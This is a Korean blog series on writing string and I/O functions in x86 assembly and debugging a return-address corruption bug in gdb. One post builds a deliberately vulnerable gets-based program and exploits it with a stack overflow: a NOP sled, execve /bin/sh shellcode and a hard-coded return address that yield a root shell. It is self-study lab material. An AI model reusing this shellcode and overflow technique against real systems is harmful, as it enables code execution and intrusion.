무한루프 원인 확인 및 패치

크리에이티브 커먼즈 라이선스
Creative Commons License

이전포스팅에서의 무한루프의 해결책을 찾다가

처음엔 메인함수에서 스택프레임정리와 인자정리를 했더니 무한루프가 해결돼서 gets함수의 구현에 문제가 없는지 알았는데


root@ubuntu:/home/study/first/programming# cat vul2.c

main(){

char buf[20];

gets(buf);

puts(buf);

}

root@ubuntu:/home/study/first/programming#

비슷한 작동을 하는 프로그램을 C언어로 짜서 컴파일해 테스트해보니


여기서도 원한거처럼 한번만 실행되진않지만

root@ubuntu:/home/study/first/programming# perl -e 'print "A"x32' | ./vul2

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA5㵁

root@ubuntu:/home/study/first/programming#

두번밖에 실행되지 않는것을 알 수 있습니다

여기서 두번실행되는 이유는

   0x0804846e <+34>: ret    

End of assembler dump.

(gdb) shell perl -e 'print "A"x32' > ./input

(gdb) b * main+34

Breakpoint 1 at 0x804846e

(gdb) r < input

Starting program: /home/study/first/programming/vul2 < input

warning: the debug information found in "/lib/ld-2.17.so" does not match "/lib/ld-linux.so.2" (CRC mismatch).


AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


Breakpoint 1, 0x0804846e in main ()

(gdb) x/wx $esp

0xbffff6ec: 0xb7e38900

(gdb) c

Continuing.

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA5㵁


Breakpoint 1, 0x0804846e in main ()

(gdb) x/wx $esp

0xbffff6ec: 0xb7e38935

(gdb)

처음 실행 시 gets함수의 문자열종결에 의해 리턴어드레스가 최하위바이트로 변조되었으나

(gdb) x/20i 0xb7e38900

   0xb7e38900 <__libc_start_main+192>: mov    %gs:0x7c,%eax

   0xb7e38906 <__libc_start_main+198>: mov    %eax,0x44(%esp)

   0xb7e3890a <__libc_start_main+202>: lea    0x24(%esp),%eax

   0xb7e3890e <__libc_start_main+206>: mov    %eax,%gs:0x80

   0xb7e38914 <__libc_start_main+212>: mov    -0xc4(%ebx),%eax

   0xb7e3891a <__libc_start_main+218>: mov    0x78(%esp),%ecx

   0xb7e3891e <__libc_start_main+222>: mov    0x70(%esp),%edx

   0xb7e38922 <__libc_start_main+226>: mov    (%eax),%eax

   0xb7e38924 <__libc_start_main+228>: mov    %ecx,0x4(%esp)

   0xb7e38928 <__libc_start_main+232>: mov    %eax,0x8(%esp)

   0xb7e3892c <__libc_start_main+236>: mov    0x74(%esp),%eax

   0xb7e38930 <__libc_start_main+240>: mov    %eax,(%esp)

   0xb7e38933 <__libc_start_main+243>: call   *%edx

   0xb7e38935 <__libc_start_main+245>: mov    %eax,(%esp)

   0xb7e38938 <__libc_start_main+248>: call   0xb7e52820 <exit>

   0xb7e3893d <__libc_start_main+253>: xor    %ecx,%ecx

   0xb7e3893f <__libc_start_main+255>: jmp    0xb7e38874 <__libc_start_main+52>

   0xb7e38944 <__libc_start_main+260>: mov    0x3968(%ebx),%eax

   0xb7e3894a <__libc_start_main+266>: ror    $0x9,%eax

   0xb7e3894d <__libc_start_main+269>: xor    %gs:0x18,%eax

(gdb)

+243에 있는 call *%edx가 main함수를 호출하는 부분인데 최하위바이트가 널바이트로 변조되면서 우연하게 main함수 호출 윗부분으로 리턴어드레스가 변조되기때문에 다시 명령어들이 실행되면서 메인함수가 실행되게 됩니다

그러나 그 다음실행에선 gets에 입력되는 문자가 없기때문에 gets함수가 바로 종료해 별도로 널바이트를 넣고 하는 처리를 하지 않기때문에 다시 call *%edx를 해 들어간 리턴어드레스는 변조되지 않아 두번째실행까지만하고 정상적으로 종료되는것입니다


그런데 지금 제가 구현한 gets함수는 read함수의 리턴값(입력길이)를 확인하지 않고 항상 똑같은처리를 하기 때문에 계속 리턴어드레스 최하위바이트가 널바이트로 변조돼 메인함수가 계속 콜되는것입니다

따라서 read 시스템콜 뒤에

test %eax, %eax

je .read_no_input

이런코드를 넣어 입력길이가 0일땐 바로 종료하도록 했습니다



수정된코드↓

gets:

push %ebp

mov %esp, %ebp

push %ebx

push %ecx

push %edx

sub $0x1000, %esp # temporary space for gets

# limit: 0x1000


mov $0x3, %eax

mov $0x0, %ebx

lea -0x1000(%ebp), %ecx

mov $0x1000, %edx

int $0x80 # read(0, tmp_space, 0x1000)

test %eax, %eax

je .read_no_input


push $0xa

lea -0x1000(%ebp), %eax

push %eax

call strchr # find \n in input

cmp $-1, %eax

je .newline_notfound

movb $0x0, (%eax) # *strchr(tmp_space, 0x0a) = 0x00

.newline_notfound:

push %ecx # lea -0x1000(%ebp), %ecx

mov 0x8(%ebp), %eax

push %eax

call strcpy # strcpy(caller_var, tmp_space)


.read_no_input:

add $0x1000, %esp

pop %edx

pop %ecx

pop %ebx

leave

ret $0x4 # gets uses 1 arg



=====================================================

맨처음에 시도한 방법도 말씀드리겠습니다

맨처음엔 스택프레임 정리를 대충해서 그런가 싶어서

에필로그에서

add $0x20, %esp

leave

ret

이 세 명령을 실행하게 했는데

vul2바이너리를 디스어셈해서 보니 vul2도 제가 원래했던거처럼 메모리 정리를 그냥 leaveret으로만 하길래

이상해서 보니까 gets함수 구현에 오류가 있었습니다

신고

'컴퓨터공부 > 어셈블리어' 카테고리의 다른 글

무한루프 원인 확인 및 패치  (0) 2014.01.16
취약프로그램 작성&공격  (0) 2014.01.15
gets 구현  (0) 2014.01.15
strcpy 구현  (0) 2014.01.15
printf strlen 구현  (1) 2014.01.15

설정

트랙백

댓글

취약프로그램 작성&공격

크리에이티브 커먼즈 라이선스
Creative Commons License

지금까지 작성한 함수들을 이용해 취약 프로그램을 제작하고 공격해보겠습니다


vul.s


root@ubuntu:/home/study/first/programming# cat vul.s

.text

.include "header.inc"


.globl main


main:

push %ebp

mov %esp, %ebp

sub $0x20, %esp


push $askname

call puts


push $promptname

call printString


lea -0x20(%ebp), %eax

push %eax

call gets

push $hi

call printString


lea -0x20(%ebp), %eax

push %eax

call puts


leave

ret

askname:

.string "What is your name?"

promptname:

.string "name: "

hi:

.string "Hi "




공격

root@ubuntu:/home/study/first/programming# (perl -e 'print "A"x36, "\x36\xf8\xff\xbf"';cat) | ./vul $(perl -e 'print "\x90"x200, "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"')

What is your name?

name: Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6

ps

  PID TTY          TIME CMD

11022 pts/0    00:00:00 login

11129 pts/0    00:00:01 bash

13284 pts/0    00:00:00 bash

13285 pts/0    00:00:00 sh

13288 pts/0    00:00:00 cat

13289 pts/0    00:00:00 ps


공격을 테스트해볼때 A만 36개 넣었을때 무한루프가 발생했습니다

다음 포스팅에서 무한루프의 원인을 확인하고 gets함수를 업데이트해보겠습니다

신고

'컴퓨터공부 > 어셈블리어' 카테고리의 다른 글

무한루프 원인 확인 및 패치  (0) 2014.01.16
취약프로그램 작성&공격  (0) 2014.01.15
gets 구현  (0) 2014.01.15
strcpy 구현  (0) 2014.01.15
printf strlen 구현  (1) 2014.01.15

설정

트랙백

댓글

gets 구현

크리에이티브 커먼즈 라이선스
Creative Commons License

gets함수를 구현합니다


gets함수는 사용자입력을 \n을 기준으로 끊어받는 입력합수입니다

\n을 찾아 이를 널바이트로 대체하기 위해 strchr함수를 구현하고

\n이 없어진 문자열을 puts()함수처럼 출력해주기 위해 printString을 이용해 puts함수를 구현하겠습니다


이전까진 함수 호출 후 인자를 정리하는 루틴이 없었는데 이번 구현에서 인자정리가 필요해 cdecl 방식으로 인자를 정리했습니다

아직 printf같이 가변인자를 받는 함수를 구현하지 않아 모든함수가 cdecl방식으로 정리 가능하지만

가변인자를 다루는 함수는 stdcall 방식으로 구현하는것이 용이합니다


별도 설명없이 주석으로 설명하겠습니다

먼저 header.inc입니다

=======================================================================

root@ubuntu:/home/study/first/programming# cat header.inc 

.text

.globl printString

.globl strlen

.globl strcpy

.globl gets

.globl strchr

.globl puts

printString: # print string

        push %ebp

        mov %esp, %ebp

        push %ebx # save registers

        push %ecx

        push %edx

        push %esi


        mov $0x1, %ebx

        mov 0x8(%ebp), %ecx

        push %ecx

        call strlen

        mov %eax, %edx

mov $0x4, %eax

        int $0x80 # write(1, buf, len(buf))


pop %esi # restore registers

pop %edx

pop %ecx

pop %ebx

leave

ret $0x4


strlen:

push %ebp

mov %esp, %ebp

push %esi

push %ecx


mov 0x8(%ebp), %esi

mov $0x0, %ecx


.strlen_loop:

movb (%esi), %al

cmpb $0x0, %al

je .strlen_finished

inc %esi

inc %ecx

jmp .strlen_loop

.strlen_finished:

mov %ecx, %eax

pop %ecx

pop %esi

leave

ret $0x4


strcpy:

push %ebp

mov %esp, %ebp

push %ecx

push %esi

push %edi

mov 0x8(%ebp), %edi

mov 0xc(%ebp), %esi

mov %edi, %ecx

.strcpy_loop:

cmpb $0x0, (%esi)

movb $0x0, (%edi)

je .strcpy_end

movb (%esi), %al

movb %al, (%edi)

inc %esi

inc %edi

jmp .strcpy_loop

.strcpy_end:

mov %ecx, %eax

pop %edi

pop %esi

pop %ecx

leave

ret $0x8


gets:

push %ebp

mov %esp, %ebp

push %ebx

push %ecx

push %edx

sub $0x1000, %esp # temporary space for gets

# limit: 0x1000


mov $0x3, %eax

mov $0x0, %ebx

lea -0x1000(%ebp), %ecx

mov $0x1000, %edx

int $0x80 # read(0, tmp_space, 0x1000)

push $0x0a

lea -0x1000(%ebp), %eax

push %eax

call strchr # find \n in input

movb $0x0, (%eax) # *strchr(tmp_space, 0x0a) = 0x00


push %ecx # lea -0x1000(%ebp), %ecx

mov 0x8(%ebp), %eax

push %eax

call strcpy # strcpy(caller_var, tmp_space)


add $0x1000, %esp

pop %edx

pop %ecx

pop %ebx

leave

ret $0x4 # gets uses 1 arg


strchr:

push %ebp

mov %esp, %ebp

push %esi


mov 0x8(%ebp), %esi

movb 0xc(%ebp), %al


.strchr_loop:

cmpb %al, (%esi)

je .strchr_found


cmpb $0x0, (%esi)

je .strchr_notfound


inc %esi

jmp .strchr_loop


.strchr_notfound:

mov $-1, %eax

jmp .strchr_end

.strchr_found:

mov %esi, %eax

.strchr_end:

pop %esi

leave

ret $0x8


puts:

# Steps

# 1. expand stack frame as much as strlen(arg)+4

# 2. strcpy(tmp, arg)

# 3. *strchr(tmp, 0x0) = 0x0a

# 4. printString(tmp)

push %ebp

mov %esp, %ebp

push %esi

push %edi


mov 0x8(%ebp), %esi

push %esi

call strlen

add $0x4, %eax

sub %eax, %esp


mov %esp, %edi

push %esi

push %edi

call strcpy


push $0x0

push %edi

call strchr


movb $0xa, (%eax)

movb $0x0, 0x1(%eax)


push %edi

call printString


pop %edi

pop %esi

leave

ret $0x4 # uses 1 arg

root@ubuntu:/home/study/first/programming#

=========================================================================

다음은 테스트 코드입니다

root@ubuntu:/home/study/first/programming# cat gets.s

.text

.include "header.inc"

.globl main


main:


push %ebp #test

mov %esp, %ebp

sub $0x20, %esp

lea -0x20(%ebp), %eax

push %eax

call gets


push %eax

call puts


leave

ret

root@ubuntu:/home/study/first/programming#

==========================================================================

신고

'컴퓨터공부 > 어셈블리어' 카테고리의 다른 글

무한루프 원인 확인 및 패치  (0) 2014.01.16
취약프로그램 작성&공격  (0) 2014.01.15
gets 구현  (0) 2014.01.15
strcpy 구현  (0) 2014.01.15
printf strlen 구현  (1) 2014.01.15

설정

트랙백

댓글

strcpy 구현

크리에이티브 커먼즈 라이선스
Creative Commons License

strcpy는 strcpy(char *dest, char *src);의 형태로 쓰이고

*src가 0이 될때까지 movb *src, *dest를 해주는 함수입니다

아래는 header.inc에 들어가는 strcpy함수입니다

strcpy:

push %ebp

mov %esp, %ebp

push %ecx

mov 0x8(%ebp), %edi

mov 0xc(%ebp), %esi

mov %edi, %ecx

.strcpy_loop:

cmpb $0x0, (%esi)

movb $0x0, (%edi)

je .strcpy_end

movb (%esi), %al

movb %al, (%edi)

inc %esi

inc %edi

jmp .strcpy_loop

.strcpy_end:

mov %ecx, %eax

pop %ecx

leave

ret


root@ubuntu:/home/study/first/programming# cat strcpy.s

.text

.include "header.inc"

.globl main


main:

push %ebp

mov %esp, %ebp

sub $0x20, %esp

lea -0x20(%ebp), %eax


push $string

push %eax

call strcpy


lea -0x20(%ebp), %eax

push %eax

call printString

leave

ret

string:

.string "Strcpy Test\n"

root@ubuntu:/home/study/first/programming# ./strcpy

Strcpy Test

root@ubuntu:/home/study/first/programming#

신고

'컴퓨터공부 > 어셈블리어' 카테고리의 다른 글

무한루프 원인 확인 및 패치  (0) 2014.01.16
취약프로그램 작성&공격  (0) 2014.01.15
gets 구현  (0) 2014.01.15
strcpy 구현  (0) 2014.01.15
printf strlen 구현  (1) 2014.01.15

설정

트랙백

댓글

printf strlen 구현

크리에이티브 커먼즈 라이선스
Creative Commons License

리눅스상에서 printf를 구현합니다

사실 구현하는 함수는 puts지만 그냥 문자열출력함수를 구현한다는 의미에서 제목을 printf 구현으로 지었습니다


write 시스템콜을 이용해 구현할거기 때문에 write 시스템콜의 콜넘버를 알아야합니다

root@ubuntu:/home/study/first/programming# grep "__NR_write" /usr/include/*/*/*

/usr/include/i386-linux-gnu/asm/unistd_32.h:#define __NR_write 4

/usr/include/i386-linux-gnu/asm/unistd_32.h:#define __NR_writev 146

/usr/include/i386-linux-gnu/asm/unistd_64.h:#define __NR_write 1

/usr/include/i386-linux-gnu/asm/unistd_64.h:#define __NR_writev 20

/usr/include/i386-linux-gnu/asm/unistd_x32.h:#define __NR_write (__X32_SYSCALL_BIT + 1)

/usr/include/i386-linux-gnu/asm/unistd_x32.h:#define __NR_writev (__X32_SYSCALL_BIT + 516)

/usr/include/i386-linux-gnu/bits/syscall.h:#define SYS_write __NR_write

/usr/include/i386-linux-gnu/bits/syscall.h:#define SYS_writev __NR_writev

/usr/include/i386-linux-gnu/bits/syscall.h:#define SYS_write __NR_write

/usr/include/i386-linux-gnu/bits/syscall.h:#define SYS_writev __NR_writev

/usr/include/i386-linux-gnu/bits/syscall.h:#define SYS_write __NR_write

/usr/include/i386-linux-gnu/bits/syscall.h:#define SYS_writev __NR_writev

grep: /usr/include/linux/netfilter/ipset: Is a directory

root@ubuntu:/home/study/first/programming#


32비트 운영체제이므로 맨 첫번째줄에있는 4번을 사용하면됩니다

앞으로 구현하는 함수들을 다른 함수 구현에도 사용할 것이고

이를 위해 처음엔 test.s 에 main함수와 구현하는 함수를 구현해 구현하는 함수를 테스트해보고

함수가 제대로 동작하는것을 확인하면 header.inc 에 넣고 사용합니다


write시스템콜은

write(int fd, char buf[], len(buf)); 의 형식을 갖습니다

리눅스에선 stdin, stdout, stderr의 fd가 이미 정해져있습니다

0 - stdin

1 - stdout

2 - stderr

따라서 fd엔 1을 넣으면 됩니다


시스템콜은

eax - syscall 넘버

ebx - 첫번째 인자

ecx - 두번째 인자

edx - 세번째 인자

이렇게 세팅해 인터럽트 넘버 0x80으로 인터럽트 하면 됩니다


이 함수는 제가 사용할거기때문에 편의를 위해 write의 세번째인자는 printf내에서 두번째 인자의 길이를 계산해 넣어주게 했습니다


아래는 header.inc의 내용이고

printString:

        push %ebp

        mov %esp, %ebp

        push %ebx

        push %ecx

        push %edx

        push %esi


        mov $0x1, %ebx

        mov 0x8(%ebp), %ecx

        push %ecx

        call strlen

        mov %eax, %edx

mov $0x4, %eax

        int $0x80


pop %esi

pop %edx

pop %ecx

pop %ebx

leave

ret


strlen:

push %ebp

mov %esp, %ebp

push %esi

push %ecx


mov 0x8(%ebp), %esi

mov $0x0, %ecx


.strlen_loop:

movb (%esi), %al

cmpb $0x0, %al

je .strlen_finished

inc %esi

inc %ecx

jmp .strlen_loop

.strlen_finished:

mov %ecx, %eax

pop %ecx

pop %esi

leave

ret 

아래는 print.s에서 인클루드해 테스트하는 코드입니다

root@ubuntu:/home/study/first/programming# cat print.s

.text

.include "header.inc"


.globl main


main:

push %ebp

mov %esp, %ebp

push $string

call printString

leave

ret

.section .rodata

string:

.string "Hello, World\n"

root@ubuntu:/home/study/first/programming# ./print

Hello, World

root@ubuntu:/home/study/first/programming#

신고

'컴퓨터공부 > 어셈블리어' 카테고리의 다른 글

무한루프 원인 확인 및 패치  (0) 2014.01.16
취약프로그램 작성&공격  (0) 2014.01.15
gets 구현  (0) 2014.01.15
strcpy 구현  (0) 2014.01.15
printf strlen 구현  (1) 2014.01.15

설정

트랙백

댓글


티스토리 툴바